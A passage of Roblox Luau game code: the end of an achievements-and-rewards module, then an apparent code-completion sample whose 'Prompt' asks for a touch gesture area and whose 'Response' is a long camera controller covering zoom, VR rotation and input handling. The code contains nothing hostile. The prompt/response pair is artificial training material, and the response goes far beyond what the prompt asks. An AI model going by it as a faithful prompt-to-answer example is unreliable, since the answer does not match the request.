		local v1 = u1.Saving.Get(p1);
		if not v1 then
			return;
		end;
		local v2 = u1.Directory.Achievements[p2];
		if not v2 then
			return;
		end;
		local v3 = v1.Achievements[p2];
		if not v3 then
			v1.Achievements[p2] = {
				stage = 1,
				progress = 0
			};
			v3 = v1.Achievements[p2];
		end;
		v3.progress = v3.progress + p3;
		local l__stage__4 = v3.stage;
		if v2[l__stage__4] and v2[l__stage__4].amount <= v3.progress then
			u2.Advance(p1, p2);
		end;
	end,
	Advance = function(p4, p5)
		local v5 = u1.Saving.Get(p4);
		if not v5 then
			return;
		end;
		local v6 = u1.Directory.Achievements[p5];
		local v7 = v5.Achievements[p5];
		v7.stage = v7.stage + 1;
		v7.progress = 0;
		u2.Reward(p4, p5, v7.stage - 1);
		coroutine.wrap(function()
			u1.Signal.Fire("Achievement Completed", p4, p5, v7.stage);
			u1.Network.Fire("Achievement Completed", p4, p5, v7.stage);
			u1.Network.FireAll("Fireworks Animation", p4);
		end)();
	end
};
local u3 = Random.new();
function u2.Reward(p6, p7, p8)
	if not u1.Saving.Get(p6) then
		return;
	end;
	local v8 = u1.Directory.Achievements[p7][p8];
	local l__rewardType__9 = v8.rewardType;
	local l__reward__10 = v8.reward;
	if l__rewardType__9 ~= "Diamonds" and l__rewardType__9 ~= "Coins" then
		if l__rewardType__9 == "Pet" then
			u1.Pets.Create(p6, l__reward__10, nil, true);
			return;
		elseif l__rewardType__9 == "GoldenPet" then
			local v11 = u1.Directory.Pets[l__reward__10];
			u1.Pets.Create(p6, l__reward__10, {
				g = true,
				s = u3:NextInteger(v11.strengthMin, v11.strengthMax) * u1.Settings.GoldPetsMult
			}, true, nil, true);
			return;
		elseif l__rewardType__9 == "RainbowPet" then
			local v12 = u1.Directory.Pets[l__reward__10];
			u1.Pets.Create(p6, l__reward__10, {
				r = true,
				s = u3:NextInteger(v12.strengthMin, v12.strengthMax) * u1.Settings.RainbowPetsMult
			}, true, nil, true);
			if v12.rarity == 'Exclusive' then

			end
			return;
		elseif l__rewardType__9 == "DarkMatterPet" then
			local v13 = u1.Directory.Pets[l__reward__10];
			u1.Pets.Create(p6, l__reward__10, {
				dm = true,
				s = u3:NextInteger(v13.strengthMin, v13.strengthMax) * u1.Settings.DarkMatterPetsMult
			}, true, nil, true);
			return;
		else
			if l__rewardType__9 == "Slots" then
				u1.Give.Slots(p6, l__reward__10);
			end;
			return;
		end;
	end;
	u1.Give.Currency(p6, l__reward__10, l__rewardType__9);
end;
return u2;


Prompt: -- Setup gesture area that camera uses while DynamicThumbstick is enabled

Response:
local function OnCharacterAdded(character)
	if UserInputService.TouchEnabled then
		if PlayerGui then
			local ScreenGui = Instance.new("ScreenGui")
			ScreenGui.Name = "GestureArea"
			ScreenGui.Parent = PlayerGui

			GestureArea = Instance.new("Frame")
			GestureArea.BackgroundTransparency = 1.0
			GestureArea.Visible = true
			GestureArea.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
			layoutGestureArea(PortraitMode)
			GestureArea.Parent = ScreenGui

		end
		for _, child in ipairs(LocalPlayer.Character:GetChildren()) do
			if child:IsA("Tool") then
				IsAToolEquipped = true
			end
		end
		character.ChildAdded:Connect(function(child)
			if child:IsA("Tool") then
				IsAToolEquipped = true
			end
		end)
		character.ChildRemoved:Connect(function(child)
			if child:IsA("Tool") then
				IsAToolEquipped = false
			end
		end)
	end
end

if LocalPlayer then
	if LocalPlayer.Character ~= nil then
		OnCharacterAdded(LocalPlayer.Character)
	end
	LocalPlayer.CharacterAdded:connect(function(character)
		OnCharacterAdded(character)
	end)
end

local function positionIntersectsGuiObject(position, guiObject)
	if position.X < guiObject.AbsolutePosition.X + guiObject.AbsoluteSize.X
		and position.X > guiObject.AbsolutePosition.X
		and position.Y < guiObject.AbsolutePosition.Y + guiObject.AbsoluteSize.Y
		and position.Y > guiObject.AbsolutePosition.Y then
		return true
	end
	return false
end

local function GetRenderCFrame(part)
	return part:GetRenderCFrame()
end

local function CreateCamera()
	local this = {}
	local R15HeadHeight = R15_HEAD_OFFSET
	function this:GetActivateValue()
		return 0.7
	end

	function this:IsPortraitMode()
		return PortraitMode
	end

	function this:GetRotateAmountValue(vrRotationIntensity)
		vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
		if vrRotationIntensity then
			if vrRotationIntensity == "Low" then
				return VR_LOW_INTENSITY_ROTATION
			elseif vrRotationIntensity == "High" then
				return VR_HIGH_INTENSITY_ROTATION
			end
		end
		return ZERO_VECTOR2
	end
	function this:GetRepeatDelayValue(vrRotationIntensity)
		vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
		if vrRotationIntensity then
			if vrRotationIntensity == "Low" then
				return VR_LOW_INTENSITY_REPEAT
			elseif vrRotationIntensity == "High" then
				return VR_HIGH_INTENSITY_REPEAT
			end
		end
		return 0
	end

	this.ShiftLock = false
	this.Enabled = false
	local isFirstPerson = false
	local isRightMouseDown = false
	local isMiddleMouseDown = false
	this.RotateInput = ZERO_VECTOR2
	this.DefaultZoom = LANDSCAPE_DEFAULT_ZOOM
	this.activeGamepad = nil

	local tweens = {}

	this.lastSubject = nil
	this.lastSubjectPosition = Vector3.new(0, 5, 0)

	local lastVRRotation = 0
	local vrRotateKeyCooldown = {}

	local isDynamicThumbstickEnabled = false

	-- Check for changes in ViewportSize to decide if PortraitMode
	local CameraChangedConn = nil
	local workspaceCameraChangedConn = nil
	local function onWorkspaceCameraChanged()
		if UserInputService.TouchEnabled then
			if CameraChangedConn then
				CameraChangedConn:Disconnect()
				CameraChangedConn = nil
			end
			local newCamera = workspace.CurrentCamera
			if newCamera then
				local size = newCamera.ViewportSize
				PortraitMode = size.X < size.Y
				layoutGestureArea(PortraitMode)
				DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
				CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
					size = newCamera.ViewportSize
					PortraitMode = size.X < size.Y
					layoutGestureArea(PortraitMode)
					DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
				end)
			end
		end
	end
	workspaceCameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onWorkspaceCameraChanged)
	if workspace.CurrentCamera then
		onWorkspaceCameraChanged()
	end

	function this:GetShiftLock()
		return ShiftLockController:IsShiftLocked()
	end

	function this:GetHumanoid()
		local player = PlayersService.LocalPlayer
		return findPlayerHumanoid(player)
	end

	function this:GetHumanoidRootPart()
		local humanoid = this:GetHumanoid()
		return humanoid and humanoid.Torso
	end

	function this:GetRenderCFrame(part)
		GetRenderCFrame(part)
	end

	local STATE_DEAD = Enum.HumanoidStateType.Dead

	-- HumanoidRootPart when alive, Head part when dead
	local function getHumanoidPartToFollow(humanoid, humanoidStateType)
		if humanoidStateType == STATE_DEAD then
			local character = humanoid.Parent
			if character then
				return character:FindFirstChild("Head") or humanoid.Torso
			else
				return humanoid.Torso
			end
		else
			return humanoid.Torso
		end
	end

	local HUMANOID_STATE_DEAD = Enum.HumanoidStateType.Dead

	function this:GetSubjectPosition()
		local result = nil
		local camera = workspace.CurrentCamera
		local cameraSubject = camera and camera.CameraSubject
		if cameraSubject then
			if cameraSubject:IsA('Humanoid') then
				local humanoidStateType = cameraSubject:GetState()
				if VRService.VREnabled and humanoidStateType == STATE_DEAD and cameraSubject == this.lastSubject then
					result = this.lastSubjectPosition
				else
					local humanoidRootPart = getHumanoidPartToFollow(cameraSubject, humanoidStateType)
					if humanoidRootPart and humanoidRootPart:IsA('BasePart') then
						local subjectCFrame = GetRenderCFrame(humanoidRootPart)
						local heightOffset = ZERO_VECTOR3
						if humanoidStateType ~= STATE_DEAD then
							heightOffset = cameraSubject.RigType == Enum.HumanoidRigType.R15 and R15HeadHeight or HEAD_OFFSET
						end

						result = subjectCFrame.p +
							subjectCFrame:vectorToWorldSpace(heightOffset + cameraSubject.CameraOffset)
					end
				end
			elseif cameraSubject:IsA('VehicleSeat') then
				local subjectCFrame = GetRenderCFrame(cameraSubject)
				local offset = SEAT_OFFSET
				if VRService.VREnabled then
					offset = VR_SEAT_OFFSET
				end
				result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(offset)
			elseif cameraSubject:IsA('SkateboardPlatform') then
				local subjectCFrame = GetRenderCFrame(cameraSubject)
				result = subjectCFrame.p + SEAT_OFFSET
			elseif cameraSubject:IsA('BasePart') then
				local subjectCFrame = GetRenderCFrame(cameraSubject)
				result = subjectCFrame.p
			elseif cameraSubject:IsA('Model') then
				result = cameraSubject:GetModelCFrame().p
			end
		end
		this.lastSubject = cameraSubject
		this.lastSubjectPosition = result
		return result
	end

	function this:ResetCameraLook()
	end

	function this:GetCameraLook()
		return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1)
	end

	function this:GetCameraZoom()
		if this.currentZoom == nil then
			local player = PlayersService.LocalPlayer
			this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, this.DefaultZoom) or this.DefaultZoom
		end
		return this.currentZoom
	end

	function this:GetCameraActualZoom()
		local camera = workspace.CurrentCamera
		if camera then
			return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
		end
	end

	function this:GetCameraHeight()
		if VRService.VREnabled and not this:IsInFirstPerson() then
			local zoom = this:GetCameraZoom()
			return math.sin(VR_ANGLE) * zoom
		end
		return 0
	end

	function this:ViewSizeX()
		local result = 1024
		local camera = workspace.CurrentCamera
		if camera then
			result = camera.ViewportSize.X
		end
		return result
	end

	function this:ViewSizeY()
		local result = 768
		local camera = workspace.CurrentCamera
		if camera then
			result = camera.ViewportSize.Y
		end
		return result
	end

	local math_asin = math.asin
	local math_atan2 = math.atan2
	local math_floor = math.floor
	local math_max = math.max
	local math_pi = math.pi
	local Vector2_new = Vector2.new
	local Vector3_new = Vector3.new
	local CFrame_Angles = CFrame.Angles
	local CFrame_new = CFrame.new

	function this:ScreenTranslationToAngle(translationVector)
		local screenX = this:ViewSizeX()
		local screenY = this:ViewSizeY()
		local xTheta = (translationVector.x / screenX)
		local yTheta = (translationVector.y / screenY)
		return Vector2_new(xTheta, yTheta)
	end

	function this:MouseTranslationToAngle(translationVector)
		local xTheta = (translationVector.x / 1920)
		local yTheta = (translationVector.y / 1200)
		return Vector2_new(xTheta, yTheta)
	end

	function this:RotateVector(startVector, xyRotateVector)
		local startCFrame = CFrame_new(ZERO_VECTOR3, startVector)
		local resultLookVector = (CFrame_Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame_Angles(-xyRotateVector.y,0,0)).lookVector
		return resultLookVector, Vector2_new(xyRotateVector.x, xyRotateVector.y)
	end

	function this:RotateCamera(startLook, xyRotateVector)
		if VRService.VREnabled then
			local yawRotatedVector, xyRotateVector = self:RotateVector(startLook, Vector2.new(xyRotateVector.x, 0))
			return Vector3_new(yawRotatedVector.x, 0, yawRotatedVector.z).unit, xyRotateVector
		else
			local startVertical = math_asin(startLook.y)
			local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y)
			return self:RotateVector(startLook, Vector2_new(xyRotateVector.x, yTheta))
		end
	end

	function this:IsInFirstPerson()
		return isFirstPerson
	end

	-- there are several cases to consider based on the state of input and camera rotation mode
	function this:UpdateMouseBehavior()
		-- first time transition to first person mode or shiftlock
		if isFirstPerson or self:GetShiftLock() then
			pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end)
			if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
				UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
			end
		else
			pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end)
			if isRightMouseDown or isMiddleMouseDown then
				UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
			else
				UserInputService.MouseBehavior = Enum.MouseBehavior.Default
			end
		end
	end

	function this:ZoomCamera(desiredZoom)
		local player = PlayersService.LocalPlayer
		if player then
			if player.CameraMode == Enum.CameraMode.LockFirstPerson then
				this.currentZoom = 0
			else
				this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom)
			end
		end

		isFirstPerson = self:GetCameraZoom() < 2

		ShiftLockController:SetIsInFirstPerson(isFirstPerson)
		-- set mouse behavior
		self:UpdateMouseBehavior()
		return self:GetCameraZoom()
	end

	function this:rk4Integrator(position, velocity, t)
		local direction = velocity < 0 and -1 or 1
		local function acceleration(p, v)
			local accel = direction * math_max(1, (p / 3.3) + 0.5)
			return accel
		end

		local p1 = position
		local v1 = velocity
		local a1 = acceleration(p1, v1)
		local p2 = p1 + v1 * (t / 2)
		local v2 = v1 + a1 * (t / 2)
		local a2 = acceleration(p2, v2)
		local p3 = p1 + v2 * (t / 2)
		local v3 = v1 + a2 * (t / 2)
		local a3 = acceleration(p3, v3)
		local p4 = p1 + v3 * t
		local v4 = v1 + a3 * t
		local a4 = acceleration(p4, v4)

		local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6)
		local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6)
		return positionResult, velocityResult
	end

	function this:ZoomCameraBy(zoomScale)
		local zoom = this:GetCameraActualZoom()

		if zoom then
			-- Can break into more steps to get more accurate integration
            zoom = self:rk4Integrator(zoom, zoomScale, 1)
			self:ZoomCamera(zoom)
		end
		return self:GetCameraZoom()
	end

	function this:ZoomCameraFixedBy(zoomIncrement)
		return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement)
	end

	function this:Update()
	end

	----- VR STUFF ------

	function this:ApplyVRTransform()
		if not VRService.VREnabled then
			return
		end
		--we only want this to happen in first person VR
		local player = PlayersService.LocalPlayer
		if not (player and player.Character
				and player.Character:FindFirstChild("HumanoidRootPart")
				and player.Character.HumanoidRootPart:FindFirstChild("RootJoint")) then
			return
		end

		local camera = workspace.CurrentCamera
		local cameraSubject = camera.CameraSubject
		local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')

		if this:IsInFirstPerson() and not isInVehicle then
			local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
			local vrRotation = vrFrame - vrFrame.p
			local rootJoint = player.Character.HumanoidRootPart.RootJoint
			rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
		else
			local rootJoint = player.Character.HumanoidRootPart.RootJoint
			rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
		end
	end

	local vrRotationIntensityExists = true
	local lastVrRotationCheck = 0
	function this:ShouldUseVRRotation()
		if not VRService.VREnabled then
			return false
		end
		if not vrRotationIntensityExists and tick() - lastVrRotationCheck < 1 then return false end

		local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end)
		vrRotationIntensityExists = success and vrRotationIntensity ~= nil
		lastVrRotationCheck = tick()

		return success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth"
	end

	function this:GetVRRotationInput()
		local vrRotateSum = ZERO_VECTOR2

		local vrRotationIntensity = StarterGui:GetCore("VRRotationIntensity")

		local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2
		local delayExpired = (tick() - lastVRRotation) >= self:GetRepeatDelayValue(vrRotationIntensity)

		if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then
			if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then
				local sign = 1
				if vrGamepadRotation.x < 0 then
					sign = -1
				end
				vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign
				vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true
			end
		elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then
			vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil
		end
		if self.TurningLeft then
			if delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Left] then
				vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity)
				vrRotateKeyCooldown[Enum.KeyCode.Left] = true
			end
		else
			vrRotateKeyCooldown[Enum.KeyCode.Left] = nil
		end
		if self.TurningRight then
			if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Right]) then
				vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity)
				vrRotateKeyCooldown[Enum.KeyCode.Right] = true
			end
		else
			vrRotateKeyCooldown[Enum.KeyCode.Right] = nil
		end

		if vrRotateSum ~= ZERO_VECTOR2 then
			lastVRRotation = tick()
		end

		return vrRotateSum
	end

	local cameraTranslationConstraints = Vector3.new(1, 1, 1)
	local humanoidJumpOrigin = nil
	local trackingHumanoid = nil
	local cameraFrozen = false
	local subjectStateChangedConn = nil
	local cameraSubjectChangedConn = nil
	local workspaceChangedConn = nil
	local humanoidChildAddedConn = nil
	local humanoidChildRemovedConn = nil

	local function cancelCameraFreeze(keepConstraints)
		if not keepConstraints then
			cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 1, cameraTranslationConstraints.z)
		end
		if cameraFrozen then
			trackingHumanoid = nil
			cameraFrozen = false
		end
	end

	local function startCameraFreeze(subjectPosition, humanoidToTrack)
		if not cameraFrozen then
			humanoidJumpOrigin = subjectPosition
			trackingHumanoid = humanoidToTrack
			cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 0, cameraTranslationConstraints.z)
			cameraFrozen = true
		end
	end

	local function rescaleCameraOffset(newScaleFactor)
		R15HeadHeight = R15_HEAD_OFFSET*newScaleFactor
	end

	local function onHumanoidSubjectChildAdded(child)
		if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then
			if heightScaleChangedConn then
				heightScaleChangedConn:disconnect()
			end
			heightScaleChangedConn = child.Changed:connect(rescaleCameraOffset)
			rescaleCameraOffset(child.Value)
		end
	end

	local function onHumanoidSubjectChildRemoved(child)
		if child.Name == "BodyHeightScale" then
			rescaleCameraOffset(1)
			if heightScaleChangedConn then
				heightScaleChangedConn:disconnect()
				heightScaleChangedConn = nil
			end
		end
	end

	local function onNewCameraSubject()
		if subjectStateChangedConn then
			subjectStateChangedConn:disconnect()
			subjectStateChangedConn = nil
		end
		if humanoidChildAddedConn then
			humanoidChildAddedConn:disconnect()
			humanoidChildAddedConn = nil
		end
		if humanoidChildRemovedConn then
			humanoidChildRemovedConn:disconnect()
			humanoidChildRemovedConn = nil
		end
		if heightScaleChangedConn then
			heightScaleChangedConn:disconnect()
			heightScaleChangedConn = nil
		end

		local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject
		if trackingHumanoid ~= humanoid then
			cancelCameraFreeze()
		end
		if humanoid and humanoid:IsA('Humanoid') then
			humanoidChildAddedConn = humanoid.ChildAdded:connect(onHumanoidSubjectChildAdded)
			humanoidChildRemovedConn = humanoid.ChildRemoved:connect(onHumanoidSubjectChildRemoved)
			for _, child in pairs(humanoid:GetChildren()) do
				onHumanoidSubjectChildAdded(child)
			end

			subjectStateChangedConn = humanoid.StateChanged:connect(function(oldState, newState)
				if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not this:IsInFirstPerson() then
					startCameraFreeze(this:GetSubjectPosition(), humanoid)
				elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then
					cancelCameraFreeze(true)
				end
			end)
		end
	end

 	local function onCurrentCameraChanged()
		if cameraSubjectChangedConn then
			cameraSubjectChangedConn:disconnect()
			cameraSubjectChangedConn = nil
		end
  		local camera = workspace.CurrentCamera
  		if camera then
			cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):connect(onNewCameraSubject)
			onNewCameraSubject()
  		end
  	end

	function this:GetVRFocus(subjectPosition, timeDelta)
		local newFocus = nil

		local camera = workspace.CurrentCamera
		local lastFocus = self.LastCameraFocus or subjectPosition
		if not cameraFrozen then
			cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, math.min(1, cameraTranslationConstraints.y + 0.42 * timeDelta), cameraTranslationConstraints.z)
		end
		if cameraFrozen and humanoidJumpOrigin and humanoidJumpOrigin.y > lastFocus.y then
			newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z))
		else
			newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, cameraTranslationConstraints.y))
		end

		if cameraFrozen then
			-- No longer in 3rd person
			if self:IsInFirstPerson() then -- not VRService.VREnabled
				cancelCameraFreeze()
			end
			-- This case you jumped off a cliff and want to keep your character in view
			-- 0.5 is to fix floating point error when not jumping off cliffs
			if humanoidJumpOrigin and subjectPosition.y < (humanoidJumpOrigin.y - 0.5) then
				cancelCameraFreeze()
			end
		end

		return newFocus
	end

	------------------------

	---- Input Events ----
	local startPos = nil
	local lastPos = nil
	local panBeginLook = nil
	local lastTapTime = nil

	local fingerTouches = {}
	local NumUnsunkTouches = 0

	local inputStartPositions = {}
	local inputStartTimes = {}

	local StartingDiff = nil
	local pinchBeginZoom = nil

	this.ZoomEnabled = true
	this.PanEnabled = true
	this.KeyPanEnabled = true

	local function OnTouchBegan(input, processed)
		--If isDynamicThumbstickEnabled, then only process TouchBegan event if it starts in GestureArea
		if (not touchWorkspaceEventEnabled and not isDynamicThumbstickEnabled) or positionIntersectsGuiObject(input.Position, GestureArea) then
			fingerTouches[input] = processed
			if not processed then
				inputStartPositions[input] = input.Position
				inputStartTimes[input] = tick()
				NumUnsunkTouches = NumUnsunkTouches + 1
			end
		end
	end

	local function OnTouchChanged(input, processed)

		if fingerTouches[input] == nil then
			if isDynamicThumbstickEnabled then
				return
			end
			fingerTouches[input] = processed
			if not processed then
				NumUnsunkTouches = NumUnsunkTouches + 1
			end
		end

		if NumUnsunkTouches == 1 then
			if fingerTouches[input] == false then
				panBeginLook = panBeginLook or this:GetCameraLook()
				startPos = startPos or input.Position
				lastPos = lastPos or startPos
				this.UserPanningTheCamera = true

				local delta = input.Position - lastPos

				delta = Vector2.new(delta.X, delta.Y * GameSettings:GetCameraYInvertValue())

				if this.PanEnabled then
					local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY
					this.RotateInput = this.RotateInput + desiredXYVector
				end

				lastPos = input.Position
			end
		else
			panBeginLook = nil
			startPos = nil
			lastPos = nil
			this.UserPanningTheCamera = false
		end
		if NumUnsunkTouches == 2 then
			local unsunkTouches = {}
			for touch, wasSunk in pairs(fingerTouches) do
				if not wasSunk then
					table.insert(unsunkTouches, touch)
				end
			end
			if #unsunkTouches == 2 then
				local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
				if StartingDiff and pinchBeginZoom then
					local scale = difference / math_max(0.01, StartingDiff)
					local clampedScale = clamp(0.1, 10, scale)
					if this.ZoomEnabled then
						this:ZoomCamera(pinchBeginZoom / clampedScale)
					end
				else
					StartingDiff = difference
					pinchBeginZoom = this:GetCameraActualZoom()
				end
			end
		else
			StartingDiff = nil
			pinchBeginZoom = nil
		end
	end

	local function calcLookBehindRotateInput(torso)
		if torso then
			local newDesiredLook = (torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
			local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
			local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
			if not IsFinite(horizontalShift) then
				horizontalShift = 0
			end
			if not IsFinite(vertShift) then
				vertShift = 0
			end

			return Vector2.new(horizontalShift, vertShift)
		end
		return nil
	end

	local OnTouchTap = nil
	if not touchWorkspaceEventEnabled then
		OnTouchTap = function(position)
			if isDynamicThumbstickEnabled and not IsAToolEquipped then
				if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then
					local tween = {
						from = this:GetCameraZoom(),
						to = DefaultZoom,
						start = tick(),
						duration = 0.2,
						func = function(from, to, alpha)
							this:ZoomCamera(from + (to - from)*alpha)
							return to
						end
					}
					tweens["Zoom"] = tween
				else
					local humanoid = this:GetHumanoid()
					if humanoid then
						local player = PlayersService.LocalPlayer
						if player and player.Character then
							if humanoid and humanoid.Torso then
								local tween = {
									from = this.RotateInput,
									to = calcLookBehindRotateInput(humanoid.Torso),
									start = tick(),
									duration = 0.2,
									func = function(from, to, alpha)
										to = calcLookBehindRotateInput(humanoid.Torso)
										if to then
											this.RotateInput = from + (to - from)*alpha
										end
										return to
									end
								}
								tweens["Rotate"] = tween

								-- reset old camera info so follow cam doesn't rotate us
								this.LastCameraTransform = nil
							end
						end
					end
				end
				lastTapTime = tick()
			end
		end
	end

	local function IsTouchTap(input)
		-- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type.
		if inputStartPositions[input] then
			local posDelta = (inputStartPositions[input] - input.Position).magnitude
			if posDelta < MAX_TAP_POS_DELTA then
				local timeDelta = inputStartTimes[input] - tick()
				if timeDelta < MAX_TAP_TIME_DELTA then
					return true
				end
			end
		end
		return false
	end

	local function OnTouchEnded(input, processed)
		if fingerTouches[input] == false then
			if NumUnsunkTouches == 1 then
				panBeginLook = nil
				startPos = nil
				lastPos = nil
				this.UserPanningTheCamera = false
				if not touchWorkspaceEventEnabled and IsTouchTap(input) then
					OnTouchTap(input.Position)
				end
			elseif NumUnsunkTouches == 2 then
				StartingDiff = nil
				pinchBeginZoom = nil
			end
		end

		if fingerTouches[input] ~= nil and fingerTouches[input] == false then
			NumUnsunkTouches = NumUnsunkTouches - 1
		end
		fingerTouches[input] = nil
		inputStartPositions[input] = nil
		inputStartTimes[input] = nil
	end

	local function OnMousePanButtonPressed(input, processed)
		if processed then return end
		this:UpdateMouseBehavior()
		panBeginLook = panBeginLook or this:GetCameraLook()
		startPos = startPos or input.Position
		lastPos = lastPos or startPos
		this.UserPanningTheCamera = true
	end

	local function OnMousePanButtonReleased(input, processed)
		this:UpdateMouseBehavior()
		if not (isRightMouseDown or isMiddleMouseDown) then
			panBeginLook = nil
			startPos = nil
			lastPos = nil
			this.UserPanningTheCamera = false
		end
	end

	local function OnMouse2Down(input, processed)
		if processed then return end

		isRightMouseDown = true
		OnMousePanButtonPressed(input, processed)
	end

	local function OnMouse2Up(input, processed)
		isRightMouseDown = false
		OnMousePanButtonReleased(input, processed)
	end

	local function OnMouse3Down(input, processed)
		if processed then return end

		isMiddleMouseDown = true
		OnMousePanButtonPressed(input, processed)
	end

	local function OnMouse3Up(input, processed)
		isMiddleMouseDown = false
		OnMousePanButtonReleased(input, processed)
	end

	local function OnMouseMoved(input, processed)
		if not hasGameLoaded and VRService.VREnabled then
			return
		end

		local inputDelta = input.Delta
		inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * GameSettings:GetCameraYInvertValue())

		if startPos and lastPos and panBeginLook then
			local currPos = lastPos + input.Delta
			local totalTrans = currPos - startPos
			if this.PanEnabled then
				local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
				this.RotateInput = this.RotateInput + desiredXYVector
			end
			lastPos = currPos
		elseif this:IsInFirstPerson() or this:GetShiftLock() then
			if this.PanEnabled then
				local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
				this.RotateInput = this.RotateInput + desiredXYVector
			end
		end
	end

	local function OnMouseWheel(input, processed)
		if not hasGameLoaded and VRService.VREnabled then
			return
		end
		if not processed then
			if this.ZoomEnabled then
                this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4)
			end
		end
	end

	local function round(num)
		return math_floor(num + 0.5)
	end

	local eight2Pi = math_pi / 4

	local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)
		if camLook ~= ZERO_VECTOR3 then
			camLook = camLook.unit
			local currAngle = math_atan2(camLook.z, camLook.x)
			local newAngle = round((math_atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
			return newAngle - currAngle
		end
		return 0
	end

	local function OnKeyDown(input, processed)
		if not hasGameLoaded and VRService.VREnabled then
			return
		end
		if processed then return end
		if this.ZoomEnabled then
			if input.KeyCode == Enum.KeyCode.I then
			--	this:ZoomCameraBy(-5)
			elseif input.KeyCode == Enum.KeyCode.O then
			--	this:ZoomCameraBy(5)
			end
		end
		if panBeginLook == nil and this.KeyPanEnabled then
			if input.KeyCode == Enum.KeyCode.Left then
				this.TurningLeft = true
			elseif input.KeyCode == Enum.KeyCode.Right then
				this.TurningRight = true
			elseif input.KeyCode == Enum.KeyCode.Comma then
				local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi)
				if angle ~= 0 then
					this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
					this.LastUserPanCamera = tick()
					this.LastCameraTransform = nil
				end
			elseif input.KeyCode == Enum.KeyCode.Period then
				local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi)
				if angle ~= 0 then
					this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
					this.LastUserPanCamera = tick()
					this.LastCameraTransform = nil
				end
			elseif input.KeyCode == Enum.KeyCode.PageUp then
			--elseif input.KeyCode == Enum.KeyCode.Home then
				this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15))
				this.LastCameraTransform = nil
			elseif input.KeyCode == Enum.KeyCode.PageDown then
			--elseif input.KeyCode == Enum.KeyCode.End then
				this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15))
				this.LastCameraTransform = nil
			end
		end
	end

